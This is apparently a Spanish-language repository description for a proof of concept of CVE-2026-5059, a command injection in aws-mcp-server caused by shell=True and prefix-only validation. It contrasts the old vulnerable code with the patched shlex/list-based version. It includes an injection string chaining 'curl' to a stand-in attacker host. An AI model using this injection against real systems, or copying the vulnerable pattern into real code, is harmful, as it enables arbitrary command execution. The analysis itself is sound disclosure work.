pwn0x000/cve-2026-5059-pocPrueba de concepto para CVE-2026-5059, una inyección de comandos en aws-mcp-server mediante shell=True y validación incompleta, con análisis del código vulnerable y parcheado.
¿Dónde está CVE-2026-5059 en el código? La vulnerabilidad está en dos archivos que trabajan juntos:
Archivo 1: tools.py — La causa raíz La versión antigua usaba shell=True en execute_piped_command(): python# CÓDIGO VULNERABLE ANTIGUO process = subprocess.run( command, # ← cadena sin procesar pasada al shell shell=True, # ← ESTE es el problema ... ) Cuando shell=True, el shell del sistema operativo interpreta la cadena completa, incluyendo ;, &&, ||, backticks — por lo que cualquier cosa después de ; se ejecuta como un comando separado.
Archivo 2: security.py — La protección incompleta El validador solo comprobaba que el comando empezara por aws: python# CÓDIGO VULNERABLE ANTIGUO def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← se detiene aquí, sin comprobar lo que viene después de la tubería Así que aws s3 ls ; curl http://attacker.com pasaba la validación — empieza por aws — y luego shell=True ejecutaba ambas partes.
Por qué la versión actual (v1.7.0) es diferente Mirando el código real hoy, ambos problemas han desaparecido: python# CÓDIGO ACTUAL en cli_executor.py cmd_parts = shlex.split(command) # divide en una lista subprocess.run(cmd_parts, shell=False) # basado en lista, sin interpretación del shell Y security.py se eliminó por completo — reemplazado por el sandbox del sistema operativo (Landlock/bwrap/Seatbelt). El ; ahora es inofensivo: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess recibe ';' como argumento literal para aws → AWS CLI lo ignora, no se ejecuta un segundo comando
Resumen en una línea Versión vulnerableVersión actual v1.7.0Ejecuciónshell=True + cadenashell=False + listaValidaciónsolo startswith("aws")sandbox a nivel de SO; manejoEjecutado por el shellTratado como texto literal El CVE se registró contra la versión antigua. ZDI lo publicó como un 0-day porque el proveedor rechazó el informe — pero la arquitectura ya había abandonado shell=True antes de que se publicara el CVE.
